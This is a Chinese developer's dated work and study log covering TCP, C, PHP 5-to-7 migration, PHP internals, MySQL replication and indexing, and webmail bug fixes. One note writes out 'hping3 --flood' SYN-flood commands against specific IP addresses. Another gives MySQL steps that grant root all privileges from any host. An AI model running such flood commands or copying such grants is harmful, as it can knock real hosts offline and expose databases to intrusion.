TCP保证可靠性:1.应用数据被分割成TCP认为最适合发送的数据块2.当TCP发出一个段后,它启动一个定时器,等待目的端确认收到这个报文段,超时重发3.当TCP收到发自TCP连接另一端的数据,它将发送一个确认4.TCP将保持它首部和数据的检验和5.如果必要,TCP将对收到的数据进行重新排序6.TCP还能提供流量控制 结束连接:TCP有一个特别的概念叫做half-close,这个概念是说,TCP的连接是全双工(可以同时发送和接收)连接,因此在关闭连接的时候,必须关闭传和送两个方向上的连接。客户机给服务器一个FIN为1的TCP报文,然后服务器返回给客户端一个确认ACK报文,并且发送一个FIN报文,当客户机回复ACK报文后(四次握手),连接就结束了。 客户端状态迁移:CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED服务端状态迁移:CLOSED->LISTEN->SYN收到->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED ulimit-aulimit-n用于限制进程能够打开的文件描述符的最大数目。因为任何设备在linux下都是文件,通信的接口也有专门的接口文件负责,所以linux下进程tcp链接的最大并发量也受限于该值 十六进制表示法:一个字节由8位组成,值域00000000~11111111,0~255以16为基数,0~9a~f十进制:01234567十六进制:01234567二进制:0000000100100011010001010110011189ABCDEF8910111213141510001001101010111100110111101111习题:将0x39A7FB转为二进制001110011010011111111011将二进制1100100101111011转为十六进制0xC97B 字长:32位机,64位机,说的就是32字长,64字长,英文叫wordsize,虚拟地址范围0~2的32次方-1大约4GB =========================================================================2018年1月30日记录: seq:Sequencenumber(顺序号码)ack:Acknowledgenumber(确认号码)syn:SYN(synchronous建立联机) TCP首部标志位:SSYN同步序号FFIN完成发送RRST复位PPST推送.置为0 深入理解计算机系统:虚拟存储器是一个抽象的概念.它为每个进程提供了一个假象,即每个进程独占的使用主存并发和并行:线程级并行,指令级并行,单指令多数据并行 =========================================================================2018年1月29日记录: 企邮扫码登陆接口部分上线用户上传附件错误1.$_FILES--超全局变量,HTTP文件上传变量通过HTTPPOST方式上传到当前脚本的项目的数组,PHP能够接受任何来自符合RFC-1867标准的浏览器上传的文件,上传的过程中,文件存放在/tmp/phpXxXxx里,有的时候磁盘满了,/tmp/下放不了文件也会报错 2.RFC1867标准RFC1867-Form-basedFileUploadinHTML 2.move_uploaded_file(string$filename,string$destination)将上传的文件移动到新位置,企邮默认从/tmp/phpxxxx到/mnt/entmail/webapp/uploads 3.上传多个文件 5.对PUT方法的支持,使用标准的输入流,$putdata=fopen("php://stdin","r"); =========================================================================2018年1月26日记录: PHP的纯CPU基准测试(PHP5.5.9vsPHP7.2.1):1.bench.php可在PHP源代码的php-src/Zend目录2.micro_bench.php也可以在PHP源代码发布的php-src/Zend目录中找到3.同时使用Unixtime命令来计时4.php5.5.9real0m14.498suser0m12.110ssys0m0.024sphp7.2.1real0m5.756suser0m4.521ssys0m0.028s 基于应用的性能测试: 4.apache配置fastcgi:apt-getinstallapache2-mpm-worker//使用apache的worker模式,多进程多线程apt-getinstalllibapache2-mod-fastcgiphp5-fpm//安装apache的fastcgi模块,和php-fpmtouch/usr/lib/cgi-bin/php5.fcgi//创建一个文件chown-Rwww-data:www-data/usr/lib/cgi-bin//赋值权限vim/etc/apache2/conf-available/php5-fpm.conf//配置apache和php-fpm的文件 serviceapache2restart&&sudoservicephp5-fpmrestart 文件内容关键字提取并进行计数排序(百度和sohu面试题):此类问题,可以演变成分析日志,查看TCP各个状态连接数,查看单IP连接数排名等等 =========================================================================2018年1月25日记录: 1.数据类型和变量:数据是放在内存中的,明确三件事:数据存储在哪里、数据的长度以及数据的处理方式intn;数据类型指明了数据的长度和处理方式,变量名指明了数据存储在哪里 2.数据长度:是指数据占用多少个字节,数据类型指明了数据长度基本类型占用的字节数:char1,short2,int4,long4,float4,double8 3.整数的长度,C语言并没有严格规定short、int、long所占用的字节数,只做了宽泛的限制:short至少占用2个字节。int建议为一个机器字长。32位环境下机器字长为4字节,64位环境下机器字长为8字节。short的长度不能大于int,long的长度不能小于int。 4.整数的正负数:int是4个字节占用32位内存,第31位表示符号,0是正数,1是负数;如果不希望设置符号位,可以在数据类型前面加unsigned如果不考虑正负数,当所有的位都为1时它的值最大,为2的32次方-1=4,294,967,295≈43亿 计算:111:2的3次方-1101:2的2次方+2的0次方10:2的1次方+2的0次方 5.在内存中,数值一律采用补码表示原码:一个整数转成二进制;反码:正数的反码就是其原码;负数的反码是将原码中除符号位以外的每一位取反;补码:正数的补码就是其原码;负数的补码是其反码加1。 6.char变量在内存中存储的是字符对应的ASCII码值。ASCII码表将整数和字符关联起来了,char是1个字节,最前面一位规定是0,因此0-127个 7.Unicode编码汉字怎么表示,日语韩语拉丁语怎么表示,Unicode是一个很大的集合,现在的规模可以容纳100多万个符号,每个符号的对应的二进制都不一样 8.链表的实现很简单,通常只需要三个关键元素:指向上个元素的指针指向下个元素的指针数据容器 =========================================================================2018年1月24日记录: 413RequestEntityTooLarge企邮HTTPS上传附件,代理限制太小了 企邮上传超大附件报错ACTERRORwin7ie8compatible;MSIE8.0;WindowsNT6.1;WOW64;Trident/4.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;.NET4.0C;.NET4.0E =========================================================================2018年1月23日记录: 从PHP5.4.x迁移到PHP5.5.x不兼容:1.不再支持WindowsXP和20032.pack()和unpack()函数的变化,数据转成二进制,更兼容Perl做了一些变更3.移除PHPlogoGUIDs,php_logo_guid—获取logo的guid 从PHP5.5.x移植到PHP5.6.x不兼容1.使用数组标识符为类定义数组类型的属性时,数组的键不会被覆盖,显式数组键和隐式数组键相同将不会覆盖.2.严格的json_decode(),JSON字面量true,false和null,采用小写格式3.当使用SSL/TLS的时候,流封装器默认验证端点证书和主机名,直接调用ssl://或者tls://协议的时候4.GMP资源现为对象,数学扩展库5.Mcrypt函数需要有效长度的密钥和初始向量,mcrypt库是加密扩展6.cURL文件上传必须先设置CURLOPT_SAFE_UPLOAD为FALSE才能够使用@file语法来上传文件 nmap扫描端口的工具 =========================================================================2018年1月22日记录: 扫码登陆获取检测状态接口增加header头Cache-Control:no-cache 一.从PHP5.6.x移植到PHP7.0.x不兼容:1.错误和异常处理1.1set_exception_handler()函数申明的类型functionhandler($e){var_dump($e);}set_exception_handler('handler');thrownewException("sb");1.2当内部构造器失败的时候,总是抛出异常1.3解析错误会抛出ParseError异常1.4E_STRICT警告级别变更 2.变量处理2.1关于间接使用变量、属性和方法的变化$foo['bar']='a';$a=1;var_dump(${$foo['bar']});//输出1var_dump($$foo['bar']);//输出NULL2.2关于list()处理方式的变更2.3global只接受简单变量,不推荐global可变变量2.4函数参数附近的括号不再影响行为3.foreach的变化3.1foreach不再改变内部数组指针3.2foreach通过值遍历时,操作的值为数组的副本3.3foreach通过引用遍历时,有更好的迭代特性3.4非Traversable对象的遍历 4.integer的变化4.1十六进制字符串不再被认为是数字,filter_var()进行转换4.2\u{可能引起错误4.3bitshifts按位转换超出范围4.4DivisionByZero错误信息5.string处理上的调整6.被移除的函数6.1set_magic_quotes_runtime()和magic_quotes_runtime()废除6.2call_user_method()andcall_user_method_array()换成call_user_func()和call_user_func_array()6.3所有的ereg*函数6.4mcrypt别名6.5所有ext/mysql函数6.6所有ext/mssql函数6.7intl别名6.8dl()inPHP-FPM6.9GDType1functions7.被移除掉的INI配置指令8.其他8.1new操作符创建的对象不能以引用方式赋值给变量8.2无效的类、接口以及trait命名,Trait是为类似PHP的单继承语言而准备的一种代码复用机制8.3移除了ASP和scriptPHP标签8.4从不匹配的上下文发起调用8.5yield变更为右联接运算符8.6函数定义不可以包含多个同名参数8.7Switch语句不可以包含多个default块8.8在函数中检视参数值会返回当前的值8.9$HTTP_RAW_POST_DATA被移除8.10INI文件中#注释格式被移除8.11JSON扩展已经被JSOND取代8.12在数值溢出的时候,内部函数将会失败8.13自定义会话处理器的返回值修复8.14相等的元素在排序时的顺序问题 hping是用于生成和解析TCPIP协议数据包的开源工具hping3--flood-S-p3306123.207.167.115hping3--flood-S-p7272115.28.161.7对于有cdn的ping命令这样写pingxxx.com,二级域名一般都没解析cdn =========================================================================2018年1月19日记录: cgi:一种协议,CGI/1.1标准fastcgi:一种升级版协议,常驻型php-cgi:解释PHP脚本的程序,实现了fastcgi协议,进程管理较差php-fpm:是fastcgi进程的管理器,升级版php-cgi,升级了进程调度 哈希表是一种通过哈希函数,将特定的键映射到特定值的一种数据结构,它维护键和值之间一一对应关系。1.键(key):用于操作数据的标示,例如PHP数组中的索引,或者字符串键等等。2.槽(slot/bucket):哈希表中用于保存数据的一个单元,也就是数据真正存放的容器。3.哈希函数(hashfunction):将key映射(map)到数据应该存放的slot所在位置的函数。4.哈希冲突(hashcollision):哈希函数将两个不同的key映射到同一个槽的情况。(链接法和开放寻址法解决) 数据容器定义:1.保存哈希表数据本身typedefstruct_Bucket{char*key;void*value;struct_Bucket*next;}Bucket;2.保存typedefstruct_HashTable{intsize;intelem_num;Bucket**buckets;}HashTable; 1.修复企邮发送超大附件获取中转站地址拼接完整url2.修复企邮签名保存并设置为默认签名错误3.测试修改密码后弹窗重新输入验证新密码问题4.测试扫码登陆失败提案问题5.前端资源加载后,文件不全问题,CDN问题 =========================================================================2018年1月18日记录: 测试扫码登陆失败问题 =========================================================================2018年1月17日记录: 2.void*memset(void*str,intc,size_tn)复制字符c(一个无符号字符)到参数str所指向的字符串的前n个字符。C库函数char*strcpy(char*dest,constchar*src)把src所指向的字符串复制到dest。 1.老师留下作业,我不会做就抄别人的,然后去办公室交作业,看见老师说:“我抄完了!”2.我同事跟人争执,急了张口来了句“你以为我吃饭长大的啊?”我一直纳闷他到底吃什么长大的。 =========================================================================2018年1月16日记录: 1.测试修改密码后弹窗重新输入验证新密码2.客户端获取签名接口代码思路梳理分表的时候,是根据当前用户的唯一标识计算出的hash值,作为分表名称id,所有的这个用户的数据,只会进入这张分表中3.要做:对PHP版本升级,测试相应性能,修改高版本PHP不兼容的地方.系统化了解PHP的不同版本的差异点;系统化了解性能测试以及性能测试框架;系统性总结现在项目的性能瓶颈点,升级版本对项目的提升点以及带来的整体好处 无头浏览器即headlessbrowser,是一种没有界面的浏览器。既然是浏览器那么浏览器该有的东西它都应该有,只是看不到界面而已。 CGI:通用网关接口CommonGatewayInterface,它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据CGI描述了客户端和这个程序之间传输数据的一种标准 CGI的运行原理1.客户端通过HTTP协议访问URL2.服务端HTTPdaemon守护进程启动子进程,在子进程中把数据传递给CGI程序3.子进程通过HTTP协议返回给客户端 1.malloc:memoryallocation动态内存分配,malloc函数向系统申请分配指定字节的内存空间,分配成功则返回指向被分配内存空间的指针void*表示未确定类型的指针,通过类型转换强制转换为任何其它类型的指针 malloc函数的实质体现在,它有一个将可用的内存块连接为一个长长的列表的所谓空闲链表。调用malloc函数时,它沿连接表寻找一个大到足以满足用户请求所需要的内存块。 2.strcpy函数把从src地址开始且含有'\0'结束符的字符串复制到以dest开始的地址空间,返回值的类型为char*。char*strcpy(char*dest,constchar*src);字符串结束符'\0','\0'是转译字符,用一个字符数组来存放一个字符串,'\0'是由C编译系统自动加上的. 3.sprintf()函数:将格式化的数据写入字符串intsprintf(char*str,char*format[,argument,...]);charstr[20];sprintf(str,"hello%s","world");printf("%s",str);//输出helloworld strcat函数将两个char类型的数据连接,返回char*strlen()函数:返回字符串的长度,在#include =========================================================================2018年1月15日记录: 上线webmail弹窗 1.web前端构建预渲染技术FPFCPFMPTTI2.服务端预渲染技术nodejsserversiderender3.构建时预渲染技术无头浏览器headless,PhontomJSPupetteer =========================================================================2018年1月12日记录: 企邮新浪存储部分兼容HTTPS修复企邮发信文本框空格问题 EDS开发:支持代理商查看名下用户的eds报表客服系统外发登陆日志查询优化显示详细的错误日志,显示外发频率次数限制 PHP中弱类型的实现:1.变量存储在zval结构体中typedefstruct_zval_structzval;//typedef给类型起一个别名zval结构体的type字段就是实现弱类型最关键的字段了,type的值可以为:IS_NULL、IS_BOOL、IS_LONG、IS_DOUBLE、IS_STRING、IS_ARRAY、IS_OBJECT和IS_RESOURCE之一。 2.变量的值存储在zvalue_value联合体中typedefunion_zvalue_valuezvalue_value结构体和共用体的区别在于:结构体的各个成员会占用不同的内存,互相之间没有影响;而共用体的所有成员占用同一段内存,修改一个成员会影响其余所有成员。共用体使用了内存覆盖技术,共用体占用的内存等于最长的成员占用的内存. 3.数组的值存储在zvalue_value.ht字段中,它是一个HashTable类型的数据。哈希表通常提供查找(Search),插入(Insert),删除(Delete)等操作 ICO(ICO是一种区块链行业术语)IPO:首次公开募股 =========================================================================2018年1月11日记录: 写时复制:PHP存储变量的结构体,结构体名_zval_struct,结构体成员:struct_zval_struct{zvalue_valuevalue;//变量值zend_uintrefcount__gc;//指向该结构体的变量数zend_uchartype;//变量类型zend_ucharis_ref__gc;//是否为引用变量,0否,1是}$myName=$name;这个过程中并没有主动变成两个结构体(这也算PHP内部实现优化的一种,只用一个结构体,省了内存)。$myName改成’gzchen’,而是复制多了一份结构体出来,两个结构体分别对应着$name和$myName。这个就是写时复制(Copy-on-write,COW)在作怪,他没有在$myName=$name;赋值的时候就分裂成两个结构体,而是在我们改写其中一个变量时发生效果,属于一种慢复制(也称慢分裂) unsignedint是非负整数unsignedchar8个bit =========================================================================2018年1月10日记录: $memLimit=str_replace('M','',ini_get("memory_limit"))*1024*1024;$memUsage=memory_get_usage()*2;if($memUsage<$memLimit){return;}if($memUsage<1024*1024*1000){ini_set("memory_limit",$memUsage);Sina_Mail_Log::error("increasememory{$memUsage}","EXTEND_MEMORY");} php的写时复制(Copy-on-Write,也缩写为COW):PHP中将一个变量赋值给新变量时,不会立即为新变量分配内存空间,只是增加了对内存空间的引用。当原变量或者新变量作出任何改变时,才会为新变量分配一块内存空间var_dump(memory_get_usage());//int(120784)$a=10;var_dump(memory_get_usage());//int(120864),增加80$b=$a;var_dump(memory_get_usage());//int(120912),增加48echo$b;var_dump(memory_get_usage());//int(120912),不变$b=10;var_dump(memory_get_usage());//int(120944),比120864增加80 =========================================================================2018年1月9日记录: 86万30年还清,利息87万等额本息还款(每月固定),等额本金还款(每月递减)房贷有三种贷款买房方式,商业贷款,公积金贷款,公积金+商业贷款组合贷款 Remix是指一首曲子的重新编曲混音版或一张重新编曲混音专辑。Verse主歌Chorus副歌Bridge桥接,flow:从哪开始,在哪结束,中间怎么转。 =========================================================================2018年1月8日记录: ubuntu开启mysql5.7的bin-log:1.[ERROR]Youhaveenabledthebinarylog,butyouhaven'tprovidedthemandatoryserver-id./etc/mysql/mysql.conf.d/mysqld.cnfserver-id=1log_bin=/var/log/mysql/mysql-bin.log2.配置主从复制主:SHOWMASTERSTATUS查看二进制文件名和位置 showslavestatus\G;里面Slave_IO_Running:Connecting,Slave_SQL_Running:Yes 主主复制:changemastertomaster_host='115.159.28.111',master_user='root',master_password='xx',master_log_file='mysql-bin.000006',master_log_pos=154; 拉取原来的sql文件:rsync-avzPtaoshihan@123.206.7.231::xykmovie/pan.sql. 3.ubuntumysql3306允许远程访问vim/etc/mysql/mysql.conf.d/mysqld.cnf注释#bind-address=127.0.0.1允许远程访问:grantallprivilegeson*.*toroot@"%"identifiedby"pwd"withgrantoption;flushprivileges; =========================================================================2018年1月5日记录:2017年绩效KPI =========================================================================2018年1月4日记录: 3.对数公式a^x=N(a>0,且a≠1),则x叫做以a为底N的对数,记做x=loga(N)大O符号表示算法复杂度O(1)常数复杂度O(n)线性复杂度O(n^2)平方复杂度O(logn)对数复杂度,以2为底n的对数 B树:平衡多叉查找树,这种数据结构一般用在数据库和文件系统上,B-tree就是指的B树磁盘:是一个扁平的圆盘(与电唱机的唱片类似)。盘面上有许多称为磁道的圆圈,数据就记录在这些磁道上。树的高度:从结点x向下到某个叶结点最长边的条数树的深度:从根节点往下数 =========================================================================2018年1月3日记录: 树:具有n个节点的有限集节点的度:一个节点拥有的子节点数量即成为节点的度叶节点:没有子节点的节点节点关系:孩子节点,双亲节点,兄弟节点,三角关系表示法:双亲表示法[下标,data,parent]查找双亲方便,查找孩子麻烦孩子表示法[下标,data,firstchild,child,next]双亲孩子表示法[下标,data,parent,firstchild,child,next]孩子兄弟表示法[data,child,brother] 统计上上周企业客户端登陆的用户,12月18号到12月24号find./-typef-name*webmail.log.0.gz|xargszcat|grep"app,code=2000"|sed's/^.*json\_\(.*\)____.*$/\1/'|sort-u|tail cat/var/log/sinamail/webmail/webmail.log|grep"app,code=2000"|sed's/^.*json\_\(.*\)____.*$/\1/'|uniq =========================================================================2018年1月2日记录: mysql中的索引类型(index/key):普通索引:默认的主键索引:自增字段一定是,唯一性约束;主键不一定自增唯一索引:提供唯一性约束,可以有多个唯一索引全文索引:不支持中文全文检索,一般用第三方,coreseek/xunsearch外键索引:只有InnoDB支持,效率不高不推荐,只使用外键思想保证数据一致性和完整性
获取$_FILES['userfile']['tmp_name'][0],$_FILES['userfile']['tmp_name'][1]